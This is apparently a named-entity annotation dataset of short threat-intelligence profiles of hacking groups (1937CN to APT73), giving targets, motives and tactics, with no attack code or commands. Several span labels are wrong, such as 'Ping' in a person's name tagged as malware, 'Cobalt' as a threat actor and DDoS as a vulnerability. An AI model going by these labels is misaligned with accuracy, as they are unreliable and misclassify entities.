+{"text": "1937CN is a Chinese hacking group that has been active since at least 2013. The group is known for targeting Vietnamese organizations, including government agencies, businesses, and media outlets. 1937CN has been linked to a number of high-profile cyberattacks, including the hacking of Vietnam Airlines in 2016 and the defacement of Vietnamese government websites in 2015.", "spans": {"THREAT_ACTOR: 1937CN": [[0, 6], [197, 203]]}, "info": {"source": "apt_reports", "name": "1937CN"}}
+{"text": "313 Team is an Iraq-based threat actor that has conducted coordinated DDoS campaigns targeting multiple government servers in the UAE, Kuwait, and Romania, often in response to political statements. They have claimed responsibility for significant disruptions, including a one-hour shutdown of Romania’s National Tax Agency and an 18-hour outage of Kuwait's national e-government portal. The group has also engaged in website defacements, showcasing coordinated branding with other aligned groups. Their operations reflect a focus on government infrastructure, employing DDoS techniques and leveraging public political discourse as justification for their attacks.", "spans": {"THREAT_ACTOR: 313 Team": [[0, 8]], "VULNERABILITY: DDoS": [[70, 74], [571, 575]]}, "info": {"source": "apt_reports", "name": "313 Team"}}
+{"text": "Ababil of Minab is an emerging pro-Iranian hacktivist group with a limited public profile and little verifiable prior activity in threat intelligence reporting. The group claims responsibility for a cyberattack and allegedly possesses administrative access to targeted systems. Their pro-Iran messaging and targeting of a major US public transit authority align with known patterns of Iranian-aligned actors targeting US critical infrastructure. The use of escalatory language suggests potential for further activity.", "spans": {"THREAT_ACTOR: Ababil of Minab": [[0, 15]]}, "info": {"source": "apt_reports", "name": "Ababil of Minab"}}
+{"text": "Actor240524 is a newly identified APT group that targeted Azerbaijani and Israeli diplomats through spear-phishing emails to steal sensitive data. The group employs a Trojan program known as ABCloader and ABCsync, demonstrating capabilities to steal secrets and modify file data. Their operations appear to focus on undermining the cooperative relationship between Azerbaijan and Israel. Actor240524 utilizes various countermeasures to obscure their attack tactics and techniques.", "spans": {"THREAT_ACTOR: Actor240524": [[0, 11], [388, 399]], "VULNERABILITY: spear-phishing": [[100, 114]], "VULNERABILITY: phishing": [[106, 114]]}, "info": {"source": "apt_reports", "name": "Actor240524"}}
+{"text": "Adrastea is a threat actor who has been active on cybercrime forums, claiming to have breached organizations like MBDA and offering stolen data for sale. They describe themselves as a group of independent cybersecurity experts and researchers. Adrastea has been linked to ransomware operations, data leak platforms, and network access groups. The actor has been known to exploit critical vulnerabilities in target organizations' infrastructure to gain access to sensitive data.", "spans": {"THREAT_ACTOR: Adrastea": [[0, 8], [244, 252]]}, "info": {"source": "apt_reports", "name": "Adrastea"}}
+{"text": "AeroBlade is a previously unknown threat actor that has been targeting an aerospace organization in the United States. Their objective appears to be conducting commercial and competitive cyber espionage. They employ spear-phishing as a delivery mechanism, using weaponized documents with embedded remote template injection techniques and malicious VBA macro code. The attacks have been ongoing since September 2022, with multiple phases identified in the attack chain. The origin and precise objective of AeroBlade remain unknown.", "spans": {"THREAT_ACTOR: AeroBlade": [[0, 9], [505, 514]], "VULNERABILITY: spear-phishing": [[216, 230]], "VULNERABILITY: phishing": [[222, 230]]}, "info": {"source": "apt_reports", "name": "AeroBlade"}}
+{"text": "Aggressive Inventory Zombies is a threat actor involved in a large-scale phishing and pig-butchering network targeting retail brands and cryptocurrency users. They create fraudulent sites using a popular website template that scrapes product details from legitimate e-commerce platforms and integrate chat services for phishing. Financial ties to India have been identified, and collaboration with Stark Industries has led to the dismantling of parts of their infrastructure, revealing the network's breadth. AIZ is also linked to Entropy ransomware infections, which were preceded by detections of Cobalt Strike beacons and Dridex malware.", "spans": {"THREAT_ACTOR: Aggressive Inventory Zombies": [[0, 28]], "THREAT_ACTOR: Cobalt": [[599, 605]], "TOOL: Cobalt Strike": [[599, 612]], "VULNERABILITY: phishing": [[73, 81], [319, 327]], "MALWARE: Dridex": [[625, 631]], "MALWARE: Entropy": [[531, 538]]}, "info": {"source": "apt_reports", "name": "Aggressive Inventory Zombies"}}
+{"text": "Adversaries abusing ICS (based on Dragos Inc adversary list).\nALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities.\nALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities.\nALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.", "spans": {"THREAT_ACTOR: ALLANITE": [[62, 70], [286, 294], [502, 510], [726, 734], [855, 863]], "SYSTEM: Windows": [[956, 963]], "ORGANIZATION: Dragos": [[34, 40], [240, 246]], "VULNERABILITY: phishing": [[522, 530]]}, "info": {"source": "apt_reports", "name": "ALLANITE"}}
+{"text": "ALPHA SPIDER is a threat actor known for developing and operating the Alphv ransomware as a service. They have been observed using novel offensive techniques, such as exploiting software vulnerabilities and leveraging legitimate administration tools for malicious activities. ALPHA SPIDER affiliates have demonstrated persistence in exfiltrating data and have shown the ability to bypass security measures like DNS-based filtering and multifactor authentication. Despite lacking specific operational security measures, defenders have opportunities to detect and respond to ALPHA SPIDER's operations effectively.", "spans": {"THREAT_ACTOR: ALPHA SPIDER": [[0, 12], [276, 288], [573, 585]]}, "info": {"source": "apt_reports", "name": "Alpha Spider"}}
+{"text": "Altahrea Team is a pro-Iranian hacking group that has been active since at least 2020. The group has claimed responsibility for a number of cyberattacks, including DDoS attacks against Israeli websites, a hack of the Israel Airports Authority website, and a cyberattack on the Orot Yosef power plant in Israel.", "spans": {"THREAT_ACTOR: Altahrea Team": [[0, 13]], "VULNERABILITY: DDoS": [[164, 168]]}, "info": {"source": "apt_reports", "name": "Altahrea Team"}}
+{"text": "ALTDOS is a threat actor group that has targeted entities in Southeast Asia, including Singapore, Thailand, and Malaysia. They have been involved in data breaches of companies in various sectors, such as real estate and retail, compromising sensitive information like customer names, bank account numbers, and transaction details. ALTDOS uses tactics like ransomware attacks, data exfiltration, and dumping data publicly or for sale on underground forums. The group has been known to demand ransom payments from victims, but also leaks data if demands are not met.", "spans": {"THREAT_ACTOR: ALTDOS": [[0, 6], [331, 337]]}, "info": {"source": "apt_reports", "name": "ALTDOS"}}
+{"text": "ALTOUFAN TEAM is a politically motivated hacktivist group with anti-Zionism, anti-monarchy, and pro-14-February movement sentiments. They have targeted government agencies and organizations in Bahrain and Israel, claiming to support political causes in the region. The group has employed techniques such as credential theft to compromise systems, as demonstrated by their attack on Bahrain's Social Insurance Organization. ALTOUFAN maintains a presence on social media platforms to disseminate their messages and showcase their activities.", "spans": {"THREAT_ACTOR: ALTOUFAN TEAM": [[0, 13]], "VULNERABILITY: credential theft": [[307, 323]]}, "info": {"source": "apt_reports", "name": "Altoufan Team"}}
+{"text": "Amaranth-Dragon is a previously untracked threat actor assessed to be closely linked to the China-affiliated APT 41 ecosystem, exhibiting similar tooling and operational patterns. The group demonstrated technical maturity by rapidly operationalizing CVE-2025-8088, a vulnerability in WinRAR, shortly after its public disclosure. Check Point Research has identified multiple campaigns targeting Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines, with operations typically focused on one or two countries at a time. The overlaps in technical and operational indicators strongly suggest that Amaranth-Dragon is either affiliated with or part of the broader APT-41 ecosystem.", "spans": {"CVE_ID: CVE-2025-8088": [[250, 263]], "THREAT_ACTOR: Amaranth-Dragon": [[0, 15], [607, 622]], "TOOL: WinRAR": [[284, 290]], "ORGANIZATION: Check Point": [[329, 340]]}, "info": {"source": "apt_reports", "name": "Amaranth-Dragon"}}
+{"text": "Angry Likho is an APT group that has been active since 2023, primarily targeting large organizations and government agencies in Russia and Belarus. Their attacks typically involve spear-phishing emails with malicious attachments, such as RAR archives, and utilize a known payload, the Lumma stealer, for data exfiltration. The group employs a compact infrastructure and has been linked to espionage activities, particularly in sectors like aviation and pharmaceuticals. Their operations have shown a focus on collecting sensitive information, including cryptowallet files and user credentials.", "spans": {"THREAT_ACTOR: Angry Likho": [[0, 11]], "TOOL: RAR": [[238, 241]], "VULNERABILITY: spear-phishing": [[180, 194]], "VULNERABILITY: phishing": [[186, 194]]}, "info": {"source": "apt_reports", "name": "Angry Likho"}}
+{"text": "Anonymous 64 is a group accused by China's national security ministry of attempting to gain control of web portals, outdoor electronic screens, and network television. The Ministry of State Security claims that Anonymous 64 is linked to a cyber unit within Taiwan's defense ministry and identifies three active-duty military personnel as its members. The MSS alleges that the group is involved in an influence operation within China, using hacktivism as a cover. The accusations suggest that Anonymous 64 engages in sabotage activities, prompting authorities to call for public reporting of such actions.", "spans": {}, "info": {"source": "apt_reports", "name": "Anonymous64"}}
+{"text": "Anonymous KSA is a Saudi hacking group that has executed cyber attacks targeting Indian institutions, including a significant breach of UIDAI's data storage units, leading to access to sensitive information and system disruption. The group claims these actions are in response to India's normalization of ties with Israel and its treatment of Palestinians. They have called for support for the Palestinian cause and accountability for the damage caused by their operations. The group's TTPs include targeting government agencies and leveraging public sentiment to justify their actions.", "spans": {"THREAT_ACTOR: Anonymous KSA": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Anonymous KSA"}}
+{"text": "Since January 23, 2023, a threat actor identifying as \"Anonymous Sudan\" has been conducting denial of service (DDoS) attacks against multiple organizations in Sweden. This group claims to be \"hacktivists,\" politically motivated hackers from Sudan. According to Truesec’s report, the threat actor has nothing to do with the online activists collectively known as Anonymous.", "spans": {"THREAT_ACTOR: Anonymous Sudan": [[55, 70]], "VULNERABILITY: DDoS": [[111, 115]], "VULNERABILITY: denial of service": [[92, 109]]}, "info": {"source": "apt_reports", "name": "Anonymous Sudan"}}
+{"text": "Publicly known as 'EmpireMonkey', ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.", "spans": {"THREAT_ACTOR: ANTHROPOID SPIDER": [[34, 51], [305, 322]], "TOOL: PowerShell": [[258, 268]], "TOOL: Empire": [[269, 275]], "ORGANIZATION: Microsoft": [[223, 232]], "VULNERABILITY: phishing": [[62, 70]]}, "info": {"source": "apt_reports", "name": "ANTHROPOID SPIDER"}}
+{"text": "Antlion is a Chinese state-backed advanced persistent threat (APT) group, who has been targeting financial institutions in Taiwan. This persistent campaign has lasted over the course of at least 18 months.", "spans": {"THREAT_ACTOR: Antlion": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Antlion"}}
+{"text": "SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.", "spans": {"THREAT_ACTOR: Aoqin Dragon": [[362, 374], [597, 609]], "MALWARE: Mongall": [[647, 654]]}, "info": {"source": "apt_reports", "name": "Aoqin Dragon"}}
+{"text": "AppMilad is an Iranian hacking group that has been identified as the source of a spyware campaign called RatMilad. This spyware is designed to silently infiltrate victims' devices and gather personal and corporate information, including private communications and photos. The group has been distributing the spyware through fake apps and targeting primarily Middle Eastern enterprises.", "spans": {"THREAT_ACTOR: AppMilad": [[0, 8]], "MALWARE: RatMilad": [[105, 113]]}, "info": {"source": "apt_reports", "name": "AppMilad"}}
+{"text": "According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China...[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.", "spans": {}, "info": {"source": "apt_reports", "name": "APT-C-12"}}
+{"text": "A threat actor which is ac tive since at least November 2014. This group launched long-term at tacks against organizations in the Syrian region using Android and Windows malwares. Its objective is the theft of sensitive information.", "spans": {"SYSTEM: Android": [[150, 157]], "SYSTEM: Windows": [[162, 169]]}, "info": {"source": "apt_reports", "name": "APT-C-27"}}
+{"text": "As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360 said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.", "spans": {}, "info": {"source": "apt_reports", "name": "APT-C-34"}}
+{"text": "Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.", "spans": {"THREAT_ACTOR: APT-C-36": [[45, 53]]}, "info": {"source": "apt_reports", "name": "APT-C-36"}}
+{"text": "PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People's Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks", "spans": {}, "info": {"source": "apt_reports", "name": "APT1"}}
+{"text": "menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.", "spans": {"MALWARE: menuPass": [[0, 8], [91, 99]]}, "info": {"source": "apt_reports", "name": "APT10"}}
+{"text": "A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.", "spans": {"VULNERABILITY: phishing": [[66, 74]], "VULNERABILITY: spear phishing": [[60, 74]]}, "info": {"source": "apt_reports", "name": "APT12"}}
+{"text": "PLA Navy\nAnchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. \nNot surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.", "spans": {"ORGANIZATION: CrowdStrike": [[43, 54]], "MALWARE: Anchor": [[9, 15], [315, 321]]}, "info": {"source": "apt_reports", "name": "APT14"}}
+{"text": "This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.", "spans": {"VULNERABILITY: phishing": [[23, 31]]}, "info": {"source": "apt_reports", "name": "APT15"}}
+{"text": "Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.", "spans": {"CVE_ID: CVE-2015-1701": [[450, 463]], "SYSTEM: Microsoft Word": [[295, 309]], "SYSTEM: Windows": [[407, 414]], "ORGANIZATION: Microsoft": [[295, 304]], "VULNERABILITY: privilege escalation": [[415, 435]], "VULNERABILITY: spear-phishing": [[109, 123]], "VULNERABILITY: use-after-free": [[363, 377]], "VULNERABILITY: phishing": [[115, 123]], "MALWARE: IRONHALO": [[580, 588]], "MALWARE: ELMER": [[624, 629]]}, "info": {"source": "apt_reports", "name": "APT16"}}
+{"text": "FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'", "spans": {"THREAT_ACTOR: APT17": [[18, 23], [46, 51]], "ORGANIZATION: FireEye": [[0, 7], [113, 120]]}, "info": {"source": "apt_reports", "name": "APT17"}}
+{"text": "Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'", "spans": {"SYSTEM: Palo Alto": [[23, 32]], "ORGANIZATION: Palo Alto Networks": [[23, 41]]}, "info": {"source": "apt_reports", "name": "APT18"}}
+{"text": "Adversary group targeting financial, technology, non-profit organisations.", "spans": {}, "info": {"source": "apt_reports", "name": "APT19"}}
+{"text": "Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'", "spans": {"ORGANIZATION: CrowdStrike": [[56, 67], [88, 99]], "MALWARE: Putter Panda": [[0, 12]], "MALWARE: Ping": [[277, 281]]}, "info": {"source": "apt_reports", "name": "APT2"}}
+{"text": "We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.\nIn contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.", "spans": {"VULNERABILITY: phishing": [[236, 244], [735, 743]], "VULNERABILITY: spear phishing": [[230, 244], [729, 743]], "VULNERABILITY: watering hole": [[79, 92]]}, "info": {"source": "apt_reports", "name": "APT20"}}
+{"text": "Suckfly is a China-based threat group that has been active since at least 2014", "spans": {"MALWARE: Suckfly": [[0, 7]]}, "info": {"source": "apt_reports", "name": "APT22"}}
+{"text": "TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'", "spans": {"MALWARE: Tropic Trooper": [[21, 35]]}, "info": {"source": "apt_reports", "name": "APT23"}}
+{"text": "The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials", "spans": {}, "info": {"source": "apt_reports", "name": "APT24"}}
+{"text": "A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.", "spans": {}, "info": {"source": "apt_reports", "name": "APT27"}}
+{"text": "The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.", "spans": {"THREAT_ACTOR: APT28": [[32, 37]]}, "info": {"source": "apt_reports", "name": "APT28"}}
+{"text": "A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '", "spans": {"THREAT_ACTOR: APT29": [[35, 40]], "ORGANIZATION: F-Secure": [[17, 25]], "VULNERABILITY: phishing": [[1182, 1190]], "MALWARE: CloudDuke": [[1038, 1047], [2164, 2173]], "MALWARE: GeminiDuke": [[1085, 1095]], "MALWARE: MiniDuke": [[995, 1003], [2112, 2120]], "MALWARE: SeaDuke": [[1049, 1056], [2155, 2162]], "MALWARE: OnionDuke": [[1017, 1026], [2134, 2143]], "MALWARE: HammerDuke": [[1058, 1068], [2196, 2206]], "MALWARE: CosmicDuke": [[1005, 1015], [2122, 2132]], "MALWARE: PinchDuke": [[1070, 1079]], "MALWARE: MiniDionis": [[2179, 2189]]}, "info": {"source": "apt_reports", "name": "APT29"}}
+{"text": "Symantec described UPS in  2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'", "spans": {"THREAT_ACTOR: APT3": [[67, 71]], "THREAT_ACTOR: UPS": [[19, 22], [87, 90]], "SYSTEM: Symantec": [[0, 8]]}, "info": {"source": "apt_reports", "name": "APT3"}}
+{"text": "APT30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches", "spans": {"THREAT_ACTOR: APT30": [[0, 5], [126, 131]], "THREAT_ACTOR: Naikon": [[86, 92]]}, "info": {"source": "apt_reports", "name": "APT30"}}
+{"text": "FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competetive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrike, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.", "spans": {"THREAT_ACTOR: APT31": [[22, 27], [236, 241]], "ORGANIZATION: FireEye": [[0, 7], [214, 221]], "ORGANIZATION: CrowdStrike": [[532, 543]], "VULNERABILITY: spear-phishing": [[574, 588]], "VULNERABILITY: phishing": [[580, 588]]}, "info": {"source": "apt_reports", "name": "APT31"}}
+{"text": "Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.", "spans": {"THREAT_ACTOR: APT32": [[53, 58], [259, 264]], "ORGANIZATION: FireEye": [[42, 49], [237, 244]], "MALWARE: OceanLotus": [[60, 70]]}, "info": {"source": "apt_reports", "name": "APT32"}}
+{"text": "Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.", "spans": {"THREAT_ACTOR: APT33": [[26, 31], [130, 135]]}, "info": {"source": "apt_reports", "name": "APT33"}}
+{"text": "FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.", "spans": {"THREAT_ACTOR: APT35": [[23, 28], [61, 66], [247, 252]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "APT35"}}
+{"text": "APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities", "spans": {"THREAT_ACTOR: APT37": [[0, 5], [140, 145]]}, "info": {"source": "apt_reports", "name": "APT37"}}
+{"text": "APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as \"Chafer.\" However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.", "spans": {"THREAT_ACTOR: APT39": [[0, 5], [292, 297], [415, 420], [502, 507]], "THREAT_ACTOR: Chafer": [[159, 165]], "MALWARE: CACHEMONEY": [[334, 344]]}, "info": {"source": "apt_reports", "name": "APT39"}}
+{"text": "Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.", "spans": {"THREAT_ACTOR: Leviathan": [[0, 9]]}, "info": {"source": "apt_reports", "name": "APT40"}}
+{"text": "APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.", "spans": {"THREAT_ACTOR: APT41": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT41"}}
+{"text": "Iranian state-sponsored cyber espionage group tasked with conducting information collection and surveillance operations against individuals and organizations of strategic interest to the Iranian government.", "spans": {}, "info": {"source": "apt_reports", "name": "APT42"}}
+{"text": "• APT43 is a prolific cyber operator that supports the interests of the North Korean regime. The group combines moderately-sophisticated technical capabilities with aggressive social engineering tactics, especially against South Korean and U.S.-based government organizations, academics, and think tanks focused on Korean peninsula geopolitical issues. \n• In addition to its espionage campaigns, we believe APT43 funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence. \n• The group creates numerous spoofed and fraudulent personas for use in social engineering, as well as cover identities for purchasing operational tooling and infrastructure. \n• APT43 has collaborated with other North Korean espionage operators on multiple operations, underscoring the major role APT43 plays in the regime’s cyber apparatus.", "spans": {"THREAT_ACTOR: APT43": [[2, 7], [407, 412], [704, 709], [823, 828]]}, "info": {"source": "apt_reports", "name": "APT43"}}
+{"text": "APT45 is a North Korean cyber threat actor that has been active since at least 2009. They have conducted espionage campaigns targeting government agencies and defense industries, as well as financially-motivated operations, including ransomware development. APT45 has targeted critical infrastructure, financial organizations, nuclear research facilities, and healthcare and pharmaceutical companies. They use a mix of publicly available tools, modified malware, and custom malware families in their operations.", "spans": {"THREAT_ACTOR: APT45": [[0, 5], [258, 263]]}, "info": {"source": "apt_reports", "name": "APT45"}}
+{"text": "We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. \nAPT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm’s business relationship with a national military, including inventories and memoranda about specific products they provided. \nIn one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company’s relationships with other telecommunications companies", "spans": {"THREAT_ACTOR: APT5": [[46, 50], [204, 208], [250, 254], [321, 325], [485, 489], [689, 693], [1021, 1025]], "VULNERABILITY: keylogging": [[1123, 1133]]}, "info": {"source": "apt_reports", "name": "APT5"}}
+{"text": "The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data.\nThe FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack.\n“This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost.\nDetails regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks.\n“Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,”Deepen said.", "spans": {"THREAT_ACTOR: APT6": [[90, 94]], "ORGANIZATION: Zscaler": [[679, 686]], "ORGANIZATION: FBI": [[4, 7], [199, 202], [589, 592]]}, "info": {"source": "apt_reports", "name": "APT6"}}
+{"text": "APT73 is a ransomware group that has publicly identified 12 victims and launched its data leak site on April 25th. The DLS bears a striking resemblance to that of LockBit, likely to leverage LockBit's reputation and attract potential affiliates. The rationale for this design mimicry is unclear, but it may be intended to signal operational parity with LockBit to inspire trust among low-level criminals. APT73 was formed by an alleged former LockBit affiliate following law enforcement's \"Operation Cronos\" in February 2024.", "spans": {"THREAT_ACTOR: APT73": [[0, 5], [405, 410]]}, "info": {"source": "apt_reports", "name": "APT73"}}
